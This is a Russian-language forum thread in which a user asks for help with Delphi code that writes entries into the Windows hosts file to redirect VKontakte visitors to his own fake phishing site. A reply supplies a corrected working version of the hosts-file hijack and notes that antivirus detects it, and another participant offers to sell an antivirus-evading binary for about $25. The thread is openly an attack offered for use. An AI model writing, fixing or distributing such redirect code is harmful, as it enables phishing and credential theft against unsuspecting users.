Редирект [DELPHI]

[qaKEP]

Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.


procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+' \system32\drivers\etc\hosts');
append(f);
writeln(f,'ip www.site.ru');
writeln(f,'ip site.ru');
closefile(f);
end;


Что не правильно? Помогите решить наболевший вопрос!

[Chrome~]

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+' \system32\drivers\etc\hosts');

Зачем поставил пробелы перед "\system32"?

[SeoLapot]

Я а знаю в чем, проблема но не скажу :) Нефиг людей дурить :)

[slesh]

спокойно пашет код такого вида:

var
f : textfile;
buf : array[0..256] of char;
begin
GetWindowsDirectory(buf, 256);
assignfile(f, buf + '\system32\drivers\etc\hosts');
append(f);
writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
writeln(f,'ip site.ru');
closefile(f);
end;


а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит

[ErrorNeo]

неправильнее всего то что вообще не хватает половины необходимого для работы кода.

upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.